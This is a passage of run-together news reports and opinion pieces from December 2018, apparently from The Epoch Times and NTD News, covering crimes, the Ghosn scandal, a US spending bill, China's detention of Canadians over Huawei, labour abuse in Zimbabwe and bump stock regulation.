found that she had become upset and dialed 911 after being ordered to tidy up her room. She didnt like the fact her mother told her to clean her room so she contacted authorities, Const. Ed Sanchuck told the Canadian Broadcasting Corp. Officers are using the situation to urge parents to sit their children down and tell them the 911 number is only for emergencies. Sanchuk noted that two or more officers respond to calls and that such responses take at least 30 minutes if not much longer, putting enormous pressure on the department. Whether false alarms are intentional or unintentional, they tie up the phone lines at the communications center, waste taxpayer money, tie up law enforcement officers, and threaten lives, he said. Parents can also lock their cellphones. Weve had previous cases where a key was stuck in a safety deposit box at a financial institution and a grown adult contacted 911 because they couldnt get the key out, said Sanchuk. Were just asking people to use some common sense. If anyone does dial 911 by accident, stay on the line and clearly state that it was a mistake. Because the girl didnt have criminal intent when making the call, she wont face criminal charges. From NTD News A Northern California realtor who was reported missing earlier this week was found dead in in Nevada County, California, on Dec. 19, reported the Sacramento Bee. (Roseville Police) Missing N. California Realtor Briana Ferguson Found Dead in Another County A Northern California realtor who was reported missing earlier this week was found dead in Nevada County, California, on Dec. 19, reported the Sacramento Bee. Briana Ferguson, 41, was seen last Friday in Roseville, near Sacramento, but she was reported missing on Monday when she didnt show up for work, the report said. Officials received a tip on Wednesday regarding a sighting of the womans Jeep Grand Cherokee in Nevada County, located in northeastern California, said Rob Baquera, spokesman for the Roseville Police Department. Chief Deputy Coroner Mike Sullivan also issued a statement: Our agency received a welfare check request from the Roseville Police Department to check the end of Greenhorn Road for Ms. Fergusons vehicle. She was located deceased outside the vehicle. Deputies were able to locate her vehicle and confirmed it belonged to her, and they discovered her body nearby, he said. The Nevada County Sheriffs Department is investigating the case, but foul play is not suspected in her death, Baquera stated. Ferguson, a wife and mother, owned a property management company in Roseville. This is an unfortunate end to the situation, certainly, the worst case scenario, Baquera said, reported NBC affiliate KCRA. Our hearts go out to her family and to all of her friends. Her body was found just days after police released her photo with a description of her and the vehicle she was driving. At this time, why she was in that area is unknown and the whole sequence of how she ended up there is still under investigation, Baquera said. Were still trying to put the pieces together. The thing that makes this suspicious is she doesnt have a history of doing this, added Baquera, according to Fox40. This is abnormal behavior for her to go missing for days at a time. That, of course, is red flags for the family and for the police department. Her cause of death is not known yet, he said. Her husband was the one to report Ferguson missing, according to reports. Im just really missing my wife and if anybody knows anything, just ask them to contact the Roseville Police Department so we could find her and get her home cause her daughter misses her, Dan Ferguson, her husband of 15 years, told Fox40. During the search for her, other real estate agents posted messages on social media to help find her, Inman.com reported. Sending love and prayers to her family, Keller Williams agent Brianne Watters said on Facebook. Other details about the case are not clear. Missing Children Update There were 464,324 missing children reported in the FBIs National Crime Information Center (NCIC) in 2017, according to the National Center for Missing and Exploited Children. Under federal law, when children are reported missing to law enforcement they must be entered into the database. In 2016, there were 465,676 entries. This number represents reports of missing children. That means if a child runs away multiple times in a year, each instance would be entered into NCIC separately and counted in the yearly total. Likewise, if an entry is withdrawn and amended or updated, that would also be reflected in the total, the center noted. Eric Brian Brown faces a range of charges in connection with the kidnapping and death of a Virginia woman who disappeared on Sept. 18, 2018. (Charlotte-Mecklenburg Police) Navy Veteran Charged With Kidnapping Resulting in Death of Virginia Woman A Navy veteran has been charged with kidnapping resulting in the death of a 19-year-old Virginia Beach college student and if convicted, he could face the death penalty. The U.S. Attorneys Office said in a statement that Eric Brian Brown, 46, is accused of abducting 19-year-old Ashanti M. Billie in September 2017 on the Joint Expeditionary Base Little Creek-Fort Story in Virginia. Brown then allegedly transported Billie against her will and across state lines to North Carolina. Billie died as a result of the kidnapping. Prosecutors said that if convicted of kidnapping resulting in death, Brown faces a maximum penalty of death and a mandatory minimum sentence of life in prison. Brown is also charged with theft, and assault resulting in serious bodily injury. If convicted of those two offenses, he faces a maximum penalty of 15 years in prison. Circumstances of the Crime Billie, a student at The Art Institute of Virginia Beach, disappeared on Sept. 18 after heading to work at a Blimpies sandwich shop, according to The Virginian-Pilot. She was found 11 days later, about 300 yards from where Brown lived as a child, her body bearing signs of battery. Witnesses cited by the news outlet told federal investigators that Brown had been spotted hanging around the Blimpies and that he repeatedly tried to flirt with Billie before she disappeared. DNA evidence was later recovered linking Brown to the crime, the news outlet reported, citing an affidavit. Investigators also found incriminating cellphone and video records. According to the affidavit, a review of Browns phone showed he made several internet searches the day after Billie disappeared. The search terms included police looking for man, Norfolk police looking for man in connection with homicide, Amber alert sept 2017, missing woman and baby, and missing woman and man. Surveillance cameras also captured an individual appearing to toss something into the dumpster where construction workers found the victims cellphone. FBI Special Agent James Faulkner noted that Brown, who left the Navy in 2011 after 20 years, worked as a day laborer and took part in the construction of the Blimpies restaurant where Billie worked. He noted the accused appeared to be homeless. The victims co-workers told investigators they would often see Brown around the Blimpies, but after Billie disappeared, he stopped showing up. A woman who worked at a laundromat next door to the Blimpies told The Virginian-Pilot that Brown would often come in and watch movies on his laptop or cellphone. Hed be there when I got there early in the morning, and hed be there when I left, she told the news outlet. She said Brown would make her feel uncomfortable, asking personal questions about her relationships and sex life. A former co-worker of Browns contacted the FBI after seeing media reports that included the dumpster video. Brown has been in custody in Virginia Beach since at least Oct. 3 on charges unrelated to Billies disappearance, including solicitation of prostitution. A jailhouse informant reportedly told investigators that Brown made disturbing comments about paying a visit to a woman who had reported him to the police. There aint nothing like the first taste of blood, Brown said, according to the informant. Sometimes it makes you do things that are unexplainable. Brown told investigators that he was in the area on the evening before Billies disappearance, but that he had no recollection of what he did for several days afterward, claiming that he blacked out. Renault CEO Carlos Ghosn waits for the French President to arrive for a visit of the Renault factory in Maubeuge northeastern France, 08 Nov. 2018. (Etienne Laurent/AFP/Getty Images) Renault-Nissan Finances Draw Scrutiny in Ghosn Scandal: Documents PARIS/TOKYORenault-Nissan executives including the French carmakers general secretary Mouna Sepehri worked on an abortive 2010 plan to pay out part of Chairman Carlos Ghosns Nissan compensation through the companies Dutch holding Renault-Nissan BV (RNBV), according to documents seen by Reuters. Ghosns undisclosed Nissan income is at the center of allegations by Tokyo prosecutors against the alliances boss, who has been charged in Japan with failing to declare $43 million in compensation for the years 2010-15 that he had arranged to be paid later. Renault declined to make Sepehri available for comment on the proposed scheme. Ghosn and Greg Kelly, his fellow Nissan director and alleged accomplice, are still in custody and have had little opportunity to defend themselves in public. Ghosn, who remains Renaults chairman and chief executive, denies that the pay deals broke any laws, his Japanese lawyer has told other media. In an April 22, 2010 email to Sepehri and one other recipient, Kelly wrote: I greatly appreciate the work you have done to analyze whether part of the CEOs compensation can be paid by RNBV without disclosing it publicly. In a written response to Reuters, Renault said Kelly had consulted several people at Renault and Nissan to establish whether it was legally possible that part of the CEOs compensation be paid by RNBV to reflect the time he spent working on alliance synergies. In 2017, as Ghosns deferred-income IOUs were piling up, Renault-Nissan bankers developed plans to channel millions of euros in additional, undisclosed bonuses to Ghosn and other alliance managers via a Dutch service company. Among executives included in emails and meetings on the bonus plan were Renault deputy CEO Thierry Bollore and Sepehri, as well as Hiroto Saikawa, now Nissans CEO, according to documents seen by Reuters. Renault said its executives had not led the project, but confirmed that financial adviser Ardea Partners, which drew it up, had held exchanges with some Renault and Nissan executives, including Mr Saikawa, Mr Bollore and Ms Sepehri. A June 13 Reuters report revealing the plan was denied by Ghosn at Renaults shareholder meeting two days later. The plan was dropped soon after that, invoices and emails show. The companies declined to make any of the executives available for comment. Nissan, which is pressing Renault for a joint investigation of alliance finances, also wants to re-examine a recent decision to create a new alliance foundation in Switzerland. In a Sept. 26 resolution, the Renault-Nissan board signed off on a 30 million-euro ($34 million) transfer to the organization, documents show. But the transfer was canceled after Ghosns Nov. 19 arrest in Japan, two sources said. By Laurence Frost & Ritsuko Ando The U.S. Capitol is seen at dusk in Washington. on Jan. 21, 2018. (Drew Angerer/Getty Images) Senate Approves Stopgap Spending Bill to Avoid Government Shutdown Bill now goes to the House The U.S. Senate has approved legislation to temporarily fund the government and avoid a partial shutdown after several months of stalled negotiations. The bill was delayed after Democrats refused to provide funding for President Donald Trumps southern border wall. Senators passed the measure by voice vote at around 10 p.m. on Dec. 19. The bill now goes to the House of Representatives and finally the president. Congress has a Dec. 21 deadline to pass the bill otherwise funding for part of the federal governments operational expenditure will expire. If passed, the seven-week spending bill will allow several key federal government departments to keep operating until Feb. 8, averting a partial shutdown. Trump has not yet said he will support the measure as it does not include any funding for the U.S.-Mexican border wall. Trump has asked for $5 billion in funding to build the wallan equivalent payment of $32 for each working American. In its current form, the bill only provides $1.6 billion in funding to pay for border security and other agencies at current service levels through to Feb. 8. Without a resolution, more than 800,000 federal employees could be furloughed or ordered to work without pay. Voting was pushed back to late Dec. 19 after an earlier version of the bill failed to gain support from the Democrats. Im sorry that my Democratic colleagues couldnt put the partisanship aside and show the same good-faith flexibility that the president has shown in order to provide the resources our nation needs to secure the integrity of our borders as well as the safety of American families, Senate Majority Leader Mitch McConnell (R-Ky.) said on Dec. 19 after Democrats turned down the initial proposal. This seems to be the reality of our political moment. House Democratic Leader Nancy Pelosi (Calif.) had said the Democrats cannot accept the offer they made of a billion dollar slush fund for the president to implement his very wrong immigration policies, so that wont happen. After obstruction by the Democrats, Trump suggested again that he may consider using the U.S. military to build the wall along the southern border. Read More Trump Looks to Military to Build Border Wall as Hopes in Congress Diminish Because of the tremendous dangers at the border, including large scale criminal and drug inflow, the United States Military will build the Wall! Trump said in a Dec. 19 post to Twitter. In our Country, so much money has been poured down the drain, for so many years, but when it comes to Border Security and the Military, the Democrats fight to the death. We won on the Military, which is being completely rebuilt. One way or the other, we will win on the Wall! Donald J. Trump (@realDonaldTrump) December 19, 2018 Mexico is paying (indirectly) for the Wall through the new USMCA, the replacement for NAFTA! Far more money coming to the U.S. Because of the tremendous dangers at the Border, including large scale criminal and drug inflow, the United States Military will build the Wall! Donald J. Trump (@realDonaldTrump) December 19, 2018 The Pentagon has backed Trump, acknowledging there is a legal option to use military funds for border barriers, while also saying there is no plan in place to do so. The Associated Press and Epoch Times reporter Petr Svab contributed to this story. Senate Staffer Sentenced to 2 Months for Lying to FBI in Leak Probe WASHINGTONA federal judge in Washington issued a two-month prison sentence to a former Senate staffer on Dec. 20 for lying to FBI agents probing the leak of a top-secret surveillance warrant application on a former associate of the Trump campaign. Judge Ketanji Brown Jackson rejected a request from the prosecutor to sentence former Senate intelligence committee Security Director James Wolfe to 24 months in prison, a harsher punishment than the zero-to-six-month range set out in the sentencing guidelines. In addition to the two-month prison term, the judge ordered Wolfe to serve four months of supervisory release, pay a $7,500 fine, and provide 80 hours of community service. Wolfe appeared stiff and motionless as the judge read out the sentence. He will serve his two-month term in a minimum security prison in Maryland. Wolfe, who turned 58 on the day of the sentencing, pleaded guilty to a single count of making false statements in October as part of a plea deal with prosecutors. In tears and a low, soft voice, he admitted to the court on Dec. 20 that he lied to the FBI about his contacts with reporters to protect my wife, my sons, and selfishly I lied about those to protect myself and my job. Your honor, I am so sorry, I am beyond embarrassed, I am beyond humiliated, I am beyond mortified, Wolfe said. Ill spend the rest of my life paying for the price of my actions. As security director, Wolfe handled the Foreign Intelligence Surveillance Act (FISA) warrant application on former Trump campaign associate Carter Page when it was reviewed by the Senate Select Committee on Intelligence last year. Wolfe became a target of the FBIs probe when the FISA application was leaked to the media. Prosecutors did not charge Wolfe with leaking classified information and did not allege that he leaked the FISA application. Page, who was spied on for a year based on the FISA warrant, sent a letter to the court ahead of the hearing. The judge did not consider the letter in deciding the sentence. The judge said she could imagine how scary it would have been for him to be questioned by the FBI considering his hidden affair and that his conduct was human nature, adding that many of us could have responded in a similar way. They were criminal acts and the court has to treat them as such, the judge said. You did have the option to tell the truth. In a deal with prosecutors, Wolfe admitted to maintaining contact with four reporters in violation of his employment contract. According to court documents filed by the prosecutors, all four reporters were young females and Wolfe used his Senate access to cultivate relationships with them. One of the reporters, Ali Watkins, had a years-long intimate relationship with Wolfe which started when she was a college intern. While explaining her reasoning for the sentence, the judge referenced two recent false statements sentences issued in cases brought by special counsel Robert Mueller: the 14-day sentence given to George Papadopoulos and the 30-day sentence issued to Alex van der Zwaan. The judge said that unlike Papadopoulos and Van der Zwaan, Wolfe held a government role. During the sentencing hearing, the prosecutor asked the judge to issue a harsher sentence to Wolfe because he had lied about disclosing sensitive, non-public information. The judge said Wolfe wasnt charged with that offense. The prosecutor said it is still relevant. Prior to the sentencing, prosecutors argued that Wolfe deserves a tougher punishment because he disrupted an important governmental function and endangered national security. Wolfes attorneys called the prosecutors sentencing request shocking, and emphasized that Wolfe is not being charged with leaking classified information. The defense also argued that Wolfe only had the potential to endanger national security and did not ultimately disrupt a governmental function. The judge rejected the prosecutors argument but said she was persuaded to accept that Wolfes role as the director of security is an aggravating factor. During the sentencing hearing, the defense attorney referred to a letter by the chairman and ranking member of the Senate Select Committee on Intelligence. Chairman Richard Burr and Ranking Member Mark Warner wrote that the allegations against Wolfe are totally out of character for someone who we considered a friend. Prior to the sentencing, the defendants attorneys asked the judge to not sentence the defendant to prison, arguing that he has already endured a very public shaming. The defense also pointed to Wolfes lifelong public service and work for the homeless community. The FBI has not charged anyone with leaking the Carter Page FISA application despite investigating the leak since April last year. The warrant was used to deploy some of the most intrusive surveillance against Page over the course of a year. Senior FBI and DOJ officials alleged that Page was an agent of a foreign power in order to secure the warrant. Page denies the allegation and was never charged with a crime. The Page FISA warrant is central to allegations that senior Obama administration officials weaponized the state surveillance apparatus against the Trump campaign. While the scope of surveillance against Page remains classified, FISA warrants can be used to monitor the communications of everyone Page communicated with and the communications of people who had communicated with people who communicated with Page. This surveillance extension, known as the two-hop rule, could easily encompass the entire Trump campaign. Chinese police patrol in front of the Canadian embassy in Beijing on December 14, 2018. (GREG BAKER/AFP/Getty Images) Suspects or Hostages? China Detains a Third Canadian in Retaliation for Arresting Huawei CFO Since Huawei CFO Meng Wanzhou was arrested in Canada on charges of fraud and violating U.S. Iran sanctions, Chinese authorities have detained three Canadian citizens living or traveling in China. The first two were charged with posing a risk to Chinese national security, while the third has been detained for illegal employment. While Beijing has denied any link between the detentions and Mengs case, the message is clear: They are hostages that the Chinese regime wants to use to secure the Huawei executives release. Sarah McIver, the third Canadian detained in China in this month, had been teaching there for months without any problems. Foreign affairs critic Erin OToole told CBC News that Chinese authorities suddenly questioned Mclver regarding her visa and arrested her. Hua Chunying, a Chinese foreign ministry spokeswoman, said Dec. 20 that McIver had received an administrative penalty for illegal employment. Hua didnt provide any further information, but said McIvers situation was different from the previous two detained Canadians, who have been put under compulsory measures by state security on suspicion of endangering Chinas national security. The two detainees Hua mentioned are Michael Kovrig and Michael Spavor. Kovrig is a diplomat currently on leave of absence from Canadas foreign affairs department. He was working for the International Crisis Group, a non-governmental think tank, when he was arrested in Beijing. On Dec. 20, it was confirmed that Kovrig also holds Hungarian nationality, which means he is a European Union citizen. The EU is Chinas largest trading partner, and the arrest of Kovrig may escalate the situation and put further pressure on China, Reuters reported. Spavor is a Canadian entrepreneur who runs a business promoting tourism and investment in North Korea and is reportedly close to North Korean leader Kim Jong Un. He was arrested in Dandong, a Chinese city across the border from North Korea, ahead of a planned business trip to Seoul, South Korea. The Globe and Mail cited two of their common friends as saying that Kovrig and Spavor know each other. All three detentions are broadly viewed as retaliation by the Chinese regime, because they were arrested just days after Beijing warned that Canada would face serious consequences over the arrest of Meng. Meng is CFO and vice chairman of Huawei, one of Chinas flagship telecom companies. She is the eldest child of Huaweis founder Ren Zhengfei, and it was reported that would be the heiress to the company, which has close ties to Chinas military and intelligence agency. After Meng was arrested in Canada, the Chinese Communist Party (CCP) deployed its national security, media, diplomatic, and other channels to support Meng and Huawei. The Party is working hard to stave off Mengs extradition to the United States. In a Dec. 17 news brief, Hua urged Canada to immediately rectify the mistakes. She said: No matter what ridiculous pretexts they come up with, covering things up under the appearance of being legitimate cannot conceal their ignorance of the real facts and their contempt for the rule of law. People around the world are ridiculing them for this. But these words are more suitable to describe Chinese regime. While Meng has been guaranteed all rights allowed to her under Canadian law, including release on bail, meeting with visitors, and engaging a lawyer to represent her, none of the three detained Canadians have been afforded these legal protections. Reuters reported that staff from the Hungarian Consulate in China tried to visit Kovrig, but were rebuffed by the authorities. John McCallum, Canadas ambassador to China, met with Kovrig on Dec. 14 and Spavor on Dec. 16. Donald Clarke, a law professor specializing in Chinese law at George Washington University Law School, published an article in the Washington Post on Dec. 17, saying that the Chinese regime sees the Canadians as hostages. China is taking innocent people as hostages to pressure Canada not to extradite Meng Wanzhou, Clarke wrote. Arresting foreigners, as a form of diplomatic blackmail, is a tactic commonly used by Beijing. In 2014, Su Bin (also known as Stephen Subin or Stephen Su) was arrested in Canada on charges filed in the United States, and Canada began extradition proceedings. A month later, Chinese authorities arrested and detained a Canadian woman and her husband on suspicion of stealing state military and defense research secrets. In September 2010, a Chinese fishing boat was involved in a conflict with a warship from Japans Self-Defense Force near the Senkaku or Diaoyu Islands, where China and Japan have conflicting sovereignty claims. Zhan Qixiong, a Chinese sailor, was arrested. In response, the Chinese authorities arrested four Japanese who worked in Chinas Hebei Province, on charges that they had taken photos in a military zone without a permit. To secure the release of the four detainees., the Japanese government released Zhan and returned him to China, Lauren Kavanaugh, 25, was arrested after the Lewisville Police Department in Texas was told on Dec. 17, 2018, by a 14-year-old girl that she was sexually assaulted by Kavanaugh. (Denton County Jail) Texas Woman The Girl in the Closet Arrested in Sexual Assault of 14-Year-Old Girl Lauren Kavanaugh, a Texas woman known as The Girl in the Closet, was arrested for allegedly assaulting a 14-year-old girl who detectives said she met through Facebook. After receiving a tip on Dec. 17 that a 14-year-old girl had been sexually assaulted by Kavanaugh, 25, the girl told officers she had been in a sexual relationship with the accused for two months, the Lewisville Police Department told the Dallas Morning News. Kavanaugh admitted to the relationship and was arrested. She was charged with sexual assault of a child and is being held at the Denton County Jail with a bail set at $10,000. The victims parents told police that Kavanaugh was living with the family, reported CBS DFW. Detectives found that the girl and Kavanaugh met through a Facebook page titled The Lauren Kavanaugh Story. The page was designed by Kavanaugh to enable her to offer friendship and support to victims of abuse, according to the police. The page was still listed on a Google search on Dec. 20 but on Facebook, there was a message saying the content wasnt available. The Google listing said the page had 16,210 likes and a portion of the pages description. Learn the story and life of Lauren Kavanaugh, the page stated. Detectives said there could be other victims and asked for parents to talk to their children to determine if theyd been in contact with Kavanaugh. Tips can be called into 972-219-8477 or texted anonymously to TIPLPD, or 847411. Kavanaughs History In a story originally published in 2002, the Dallas Morning News reported that Kavanaugh was locked in a small closet by her mother, Barbara Atkinson. Kavanaugh was rarely fed or given water. Atkinson was arrested by police officers after Kavanaughs stepfather told a neighbor about the closet and Kavanaugh was rescued. A photo of Kavanaugh at the age of 8 in a hospital after her rescue, shows her severely malnourished, emaciated, and with a number of health problems. One Dallas County prosecutor compared the girls appearance to that of a Holocaust victim, the outlet reported. She weighed 25 pounds and stood three feet tall; Kavanaugh herself thought she was only two years old, which is the age she later said the abuse started. For years, Kavanaugh remained silent about the ordeal, but she shared her story on Dr. Phil in 2017. I was locked in a closet for six years. I could not get out, no matter what I did. It was always dark. I didnt get fed. I didnt get to eat. I had to go to the bathroom in the closet, where I slept. I had a pillow on the floor and maybe a blanket every now and then if I was good. I would cry until I fell asleep, Kavanaugh said. I thought I could escape by clawing the door, and they were furious. My parents said if they couldnt have me, no one could. I did not try to escape again. They [only] took me out of the closet to have sex with me. From NTD News Huawei chief financial officer Meng Wanzhou arrives at a parole office with a member of her private security detail in Vancouver, on Dec. 12, 2018. (The Canadian Press/Darryl Dyck) The Huawei Controversies and the Story of the Scorpion and the Frog For citizens of Canadaor for that matter, citizens of any democratic countrythe Huawei controversies (for there are several separate, though linked issues) might be better understood by remembering the parable of the scorpion and the frog. For those who have forgotten the story, it involves a scorpion asking a frog to carry it across the river on its back. The frog is reluctant, fearing it will be stung. The scorpion dismisses the concern, saying that if it did sting the frog they would both drown. In the end, the frog relents, but halfway across the river, the scorpion does sting the frog. As they both begin to drown, the frog asks, Why? The Scorpion replies, Because its in my nature. Therein lies the bitter lesson for Canadas Liberal government and Prime Minister Justin Trudeau. For the past three years, the prime minister has directed an erratic, misguided rush to achieve a free trade agreement with China. His government has looked the other way on human rights and security concerns and ignored humiliating diplomatic slights. Despite a rise in the gross violation of human rights of Chinas own citizens, the extra-judicial detention and torture of Canadian citizens of Chinese birth, and similar treatment of Kevin and Julia Garratt, a Canadian missionary family, the Trudeau government has offered only muted concern to the Chinese government. In the case of the Garratts, there was not a peep of protest even after their release. In Ottawa in 2016, Canadas foreign minister stood by silently when his visiting Chinese counterpart lambasted a Canadian journalist for asking a question about human rights. Also in 2106, the government built a large privacy wall outside a secure hotel in Ottawa to shield Chinese Premier Li Keqiang from Falun Dafa practitioners demonstrating across the street and pulled the plug on power for the microphones they were using to greet the premier on Parliament Hill. Chinas state-controlled media ridiculed the Trudeau governments attempt to include progressive chapters on labour, the environment, and gender in a free trade deal. In December 2017, the prime minister returned from China without any progress on an agreement. At the same time, the Trudeau government ignored the advice of national security and defence experts, allowing Chinese government-controlled companies to buy Canadian high-technology companies. And for the past year, the government has looked the other way as Canadas Five Eyes allies banned the installation of Huawei technology in their fledgling 5G communications networks and urged Canada to follow suit. In the meantime, Huawei has further entrenched its grossly underpriced technology with Canadian telecom companies and deepened its research investments in 10 Canadian universities. Little wonder, then, that Chinese authorities assumed they could simply demand the release of Huawei CFO Meng Wanzhou when she was legally detained at Vancouver International Airport. Little wonder as well, that when Canada refused and followed the rule of law in respecting the American extradition request, China responded as they have in the past and improperly detained Canadians on implausible national security suspicions, effectively holding them hostage. So how can Canada extract itself from this mess created by Trudeaus gullible approach to China? The prime minister might start by recognizing the realities of Chinas imperialistic communist regime. Although Chinese leader Xi Jinping denied this week that China seeks world domination, his statement is at odds with Beijings predatory economic diplomacy, militarization of the South China Sea, disregard for fair trade, and ever-expanding commercial and defence-related cyber-espionage activity. It is time for Prime Minister Trudeau to heed the lesson of the frog and scorpion parable and recognize the nature of the scorpion that he has so naively welcomed onto his back. Peter Kent is a Canadian member of Parliament and the official opposition shadow minister of ethics. He previously served as the minister of environment and was the former international executive vice-chair of China Council for International Cooperation on Environment and Development. Prior to entering politics, he was an accomplished broadcast journalist, anchor, and producer at major TV networks including NBC, CBC, CTV, and Global News. Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times. The Ordeal of Working for Chinese Companies in Zimbabwe MUTARE, ZimbabweWorkers at some Chinese companies in Zimbabwe are experiencing abuse and mistreatment, activists say, claiming that because China is the biggest investor in Zimbabwe, the companies enjoy protection from Zimbabwes government against allegations of abuse. Cosmas Sunguro, formerly employed by Anjin Investments Ltd., a diamond mining company that operated in the Marange diamond fields in Zimbabwe, said working conditions at Chinese-owned companies arent good. Sunguro said many workers were injured at Anjin Investments mine, as the company didnt follow proper workplace-safety measures. There were also allegations of sexual and physical assaults. [At Anjin,] we had the issues of sexual assaults that were done by the Chinese, Sunguro told The Epoch Times. We had a couple of cases of attempted sodomy; maybe five cases were reported. Sunguro, who is now chairperson of the Zimbabwe Diamonds and Allied Workers Union, said Chinese bosses continue to abuse workers in various parts of the country, and there has been little support for the workers. We reported some of the cases to the police but nothing was done. One worker was kicked by a Chinese boss in his groin and his bladder was damaged, but nothing was done to the abuser, Sunguro said. I think the police let us down during that time. Some of our cases are still pending. He said some of the workers are suffering from the long-term effects of abuse. Some of the abused workers suffered various medical issues, and there are long-term psychological and physiological effects. People are desperate, they want jobs, they dont have a choice. The cases of abuse are rising. And when people are poor, they cannot defend themselves, he said. Anjin is a joint venture between a Chinese company, Anhui Foreign Economic Construction Co. Ltd., and Matt Bronze Enterprises, formed by the Zimbabwe Defense Ministry and the Zimbabwe Defense Forces through an intermediary company. The company had its license revoked by the administration of then-President Robert Mugabe in 2016, arguing there was lack of transparency and accountability in the operations and that the government wasnt getting much revenue from the diamonds. Allegations of abuse werent cited as one of the reasons for revoking the companys license. Widespread Problem The alleged cases at Anjin arent isolated, as other Chinese companies have been accused of abusing their Zimbabwean employees. Workers have complained of harassment, beatings, unfair labor practices, and dismissals, as well as sexual abuse. James Mupfumi, the director of an investigative NGO, the Center for Research and Development (CRD), said his organization had raised the issue of abuse of workers at Chinese-owned companies with the government of Zimbabwe and Anjin on several occasions, but they flatly denied the allegations. Even when the CRD was a member of the Kimberley Process Certification Scheme Civil Society Coalitiona group that monitors the ethical trade in diamondsfrom 2009 to 2012, Zimbabwes then-Minister of Mines Obert Mpofu refused to acknowledge that there were human-rights abuses at Anjin and other mining companies, Mupfumi said. The CRD, Mupfumi said, submitted a stakeholder report in 2013 to the U.N. Human Rights Councils universal periodic review of China focusing on Chinese mining activities in sub-Saharan Africa. The Chinese government was asked to account for human-rights violations of its mining companies in Africa, Mupfumi said. However, a director of the Anjin mine, Munyaradzi Machacha, flatly denied that Chinese nationals at the diamond company were mistreating workers. These allegations [of abuse of workers] are not true. There was nothing like that [at the Anjin mine], Machacha told The Epoch Times. Protection A Zimbabwean legislator, Prosper Mutseyami, alleges that the Chinese companies are enjoying protection from the government, as China is currently the biggest investor in Zimbabwe. Mutseyami, a chief whip for the opposition party, the Movement for Democratic Change, in Zimbabwes House of Assembly, told The Epoch Times that the government fears it will anger China, who is among the few countries currently supporting the Zimbabwean government. They [the Zimbabwe government] fear they will scare away potential investors from China. And our government does not sincerely respect the rights of our workers, Mutseyami said. He added that some corrupt senior government officials are allegedly receiving payments from the Chinese companies to ignore the plight of the workers. Senior government officials hands are being oiled by the Chinese, hence they always turn a blind eye [on abuses of workers], he said. According to the Zimbabwean government, China remains the countrys biggest source of foreign direct investment, with the Asian giant investing in construction, tourism, agriculture, and mining. In 2012, the former Chinese ambassador to Zimbabwe, Lin Lin, said Chinese investors and citizens mustnt be spared if they break laws in Zimbabwe. If they commit crimes they should be punished. They should be brought to justice, Lin told the government-owned newspaper The Chronicle. But since then, no Chinese national has been convicted of violating labor laws in Zimbabwe, activist Sunguro claims. Zimbabwes Minister of Public Service, Labor, and Social Welfare Sekai Nzenza said her ministry works with employers and employees to ensure that they adhere to decent work and pay standards. Nzenza was appointed the countrys labor minister in September. There are situations where we hear of malpractice. We would need more details on specific situations so that my labor officers can investigate, Nzenza said in a short response to questions from The Epoch Times. Investment The Zimbabwean government recently announced that annual trade between China and Zimbabwe had passed the $1 billion mark. Zimbabwes Industry deputy minister Raji Modi was quoted in The Daily newspaper as saying the government is intensively working to ensure Chinese investors would inject fresh capital to help Zimbabwe to become a middle-income country by 2030. As part of Chinas Belt and Road initiative, Zimbabwe Foreign Affairs and International Trade Minister Sibusiso Moyo told a local newspaper, the country had at least three projects lined up for funding, including an expansion of Robert Mugabe International Airport. And with President Emmerson Mnangagwas administration banking on a $2 billion bailout from China to revive the comatose economy, the Zimbabwe government may find it difficult to censor Chinese businesses for abusing employees. Zimbabwe is currently saddled with about $300 million in arrears from previous Chinese loans. A bump stock device, (left) that fits on a semi-automatic rifle to increase the firing speed, making it similar to a fully automatic rifle, is installed on a AK-47 semi-automatic rifle, (right) at a gun store on Oct. 5, 2017, in Salt Lake City, Utah. The Trump administration has just announced a reversal to a rule that allowed the sale of bump stocks. (George Frey/Getty Images) The Strange Politics of Bump Stocks, Democrats, and the NRA Commentary The Trump administration has taken an important action that just might make Americans a bit safer when it comes to mass shootings. A new rule issued on Dec. 18 will reverse a 2010 decision of the Bureau of Alcohol, Tobacco, Firearms, and Explosives (ATF) during the Obama administration that allowed the sale of bump stocks. Bump stocks have nothing to do with the stock market, unless you own shares in one of the companies that have made millions through the sale of the controversial attachments. Bump stocks are attachments purchased by gun owners to turn their semi-automatic rifles into rapid-fire weapons akin to machine guns. Trumps new rule will give owners 90 days from the date of publication in the Federal Register to destroy or turn over their bump stocks to the ATF for destruction. Law-abiding Americans will do so. People with nefarious intent will hide and cling to their attachments. Gun-rights advocacy groups have already filed suit challenging the rule change. The measure is expected to be published on Dec. 21. Heres the lowdown on the devices. In 2010 and 2012, Obama-era ATF officials sent letters of approval to Slide Fire and Bump Fire with the explanation that the attachments were legal because the devices didnt transform rifles into machine guns. Therefore, the attachments couldnt be regulated unless Congress passed new gun-control legislation. Under the new rule, bump stocks and similar devices are now considered machine guns, even though the devices came decades after the passage of the National Firearms Act of 1934 and the Gun Control Act of 1968. Many of us first heard about bump stocks after the October 2017 Las Vegas shooting that killed 58 people and wounded more than 800, in what remains the largest mass murder in U.S. history. Twelve of gunman Stephen Paddocks 23 guns had been outfitted with bump stocks, transforming his rifles into rapid-firing devices. Following the shooting, in what can best be described as an unexpected decision, the National Rifle Association (NRA) issued a statement in October 2017 requesting a review of the Obama administrations policy on bump stocks: Despite the fact that the Obama administration approved the sale of bump fire stocks on at least two occasions, the National Rifle Association is calling on the Bureau of Alcohol, Tobacco, Firearms and Explosives (BATFE) to immediately review whether these devices comply with federal law. The NRA believes that devices designed to allow semi-automatic rifles to function like fully automatic rifles should be subject to additional regulations. In reaction to the presidents decision, the NRA has issued a statement expressing disappointment and a fear that the action without an amnesty would criminalize ordinary Americans who purchased the attachments when they were legal. So far, there has not been a rush of journalists to remind the public that bump stocks were legalized during the Obama administration. Instead, the president is being criticized for an inappropriate use of executive action. Anyone who has watched Congress over the past few years knows that Republican lawmakers are reluctant to tackle gun-control legislation because of advocacy groups and their allegiance to the Second Amendment. Guns equipped with bump stocks can fire a thousand rounds in 15 minutes, as Paddock proved in Las Vegas. Its doubtful, however, that many legislators of either party would support individual gun ownership of anything akin to a machine gun. Gun-control legislation is near and dear to the hearts of Democrats, who regularly call for gun control whenever there is a mass shooting. The opportunistic calls take place even before the bodies are cold, and long before investigators have reached a conclusion about the motivations or mental health of the shooter. Why would a Democrat administration approve the sale of a device that some say has no practical purpose other than to make it easier to engage in mass shootings? A gun outfitted with bump stocks is certainly not a device any reputable hunter would use. One of the manufacturers said the guns were intended for disabled people. But what disabled person would need a machine gun for personal protection? Bump stocks seem to have been made available for gun collectors and people who wanted to own a rapid-firing gun for whatever reason. Fast and Furious In the political arena, Democrats constantly accuse Republicans of being lackeys 